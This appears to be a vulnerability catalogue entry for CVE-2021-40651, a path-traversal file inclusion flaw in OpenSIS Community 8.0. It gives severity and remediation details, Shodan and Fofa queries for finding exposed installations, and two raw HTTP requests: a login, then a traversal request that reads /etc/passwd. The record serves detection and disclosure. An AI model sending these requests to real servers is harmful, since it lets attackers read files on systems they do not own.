| Title | OS4Ed OpenSIS Community 8.0 - Local File Inclusion |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | Authenticated attackers can read arbitrary files from the server including /etc/passwd via path traversal in the modname parameter. |
| Remediation | Upgrade to OpenSIS Community version 8.1 or later. |
| CVSS Score | 6.5 |
| EPSS Score | 0.69873 |
| CVE ID | CVE-2021-40651 |
| CWE ID | CWE-22 |
| Shodan Query | title:"openSIS"http.title:"opensis" |
| Fofa Query | title="opensis" |
| Tags | cve cve2021 lfi os4ed opensis authenticated vuln |
OS4Ed OpenSIS Community 8.0 is vulnerable to a local file inclusion vulnerability in Modules.php (modname parameter), which can disclose arbitrary file from the server’s filesystem as long as the application has access to the file.
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 48
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
USERNAME=jvUGKM&PASSWORD=ThV5aX&language=en&log=
GET /Modules.php?modname=miscellaneous%2fPortal.php..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&failed_login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40651.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-40651.pcap
N/AN/A